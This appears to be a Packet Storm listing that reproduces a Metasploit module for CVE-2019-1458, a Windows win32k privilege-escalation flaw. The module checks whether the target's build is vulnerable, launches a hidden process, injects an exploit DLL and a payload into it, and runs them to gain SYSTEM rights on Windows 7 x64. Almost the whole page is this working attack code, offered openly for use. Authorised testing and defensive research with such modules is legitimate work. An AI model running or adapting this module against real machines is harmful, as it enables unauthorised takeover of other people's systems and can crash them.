exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows Uninitialized Variable Local Privilege Escalation

Microsoft Windows Uninitialized Variable Local Privilege Escalation
Posted Oct 15, 2020
Authored by timwr, unamer, piotrflorczyk | Site metasploit.com

This Metasploit module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability within win32k which occurs due to an uninitialized variable, which allows user mode attackers to write a limited amount of controlled data to an attacker controlled address in kernel memory. By utilizing this vulnerability to execute controlled writes to kernel memory, an attacker can gain arbitrary code execution as the SYSTEM user. This module has been tested against Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows. The exploit can only be triggered once against the target and can cause the target machine to reboot when the session is terminated.

tags | exploit, arbitrary, kernel, code execution
systems | windows
advisories | CVE-2019-1458
SHA-256 | 965825e462e62b73a8b4edd4aeb9b9d17c52ab810644e44a21ae2613d7a92025

Microsoft Windows Uninitialized Variable Local Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
to write a limited amount of controlled data to an attacker controlled address
in kernel memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution
as the SYSTEM user.

This module has been tested against Windows 7 x64 SP1. Offsets within the
exploit code may need to be adjusted to work with other versions of Windows.
The exploit can only be triggered once against the target and can cause the
target machine to reboot when the session is terminated.
},
'License' => MSF_LICENSE,
'Author' =>
[
'piotrflorczyk', # poc
'unamer', # exploit
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'References' =>
[
['CVE', '2019-1458'],
['URL', 'https://github.com/unamer/CVE-2019-1458'],
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
],
'DisclosureDate' => '2019-12-10',
'DefaultTarget' => 0,
'AKA' => [ 'WizardOpium' ]
)
)
register_options([
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
])
end

def setup_process
process_name = datastore['PROCESS']
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end

def check
sysinfo_value = sysinfo['OS']

if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end

file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

build_num_gemversion = Gem::Version.new("#{major}.#{minor}.#{build}.#{revision}")

# Build numbers taken from https://www.qualys.com/research/security-alerts/2019-12-10/microsoft/
if (build_num_gemversion >= Gem::Version.new('6.0.6000.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20692')) # Windows Vista and Windows Server 2008
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24540')) # Windows 7 and Windows Server 2008 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.22932')) # Windows 8 and Windows Server 2012
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19574')) # Windows 8.1 and Windows Server 2012 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < Gem::Version.new('10.0.10240.18427')) # Windows 10 v1507
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.99999')) # Windows 10 v1511
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3383')) # Windows 10 v1607
return CheckCode::Appears
else
return CheckCode::Safe
end
end

def exploit
super

if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
end

process = setup_process
library_data = exploit_data('CVE-2019-1458', 'exploit.dll')
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
end
end
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    32 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close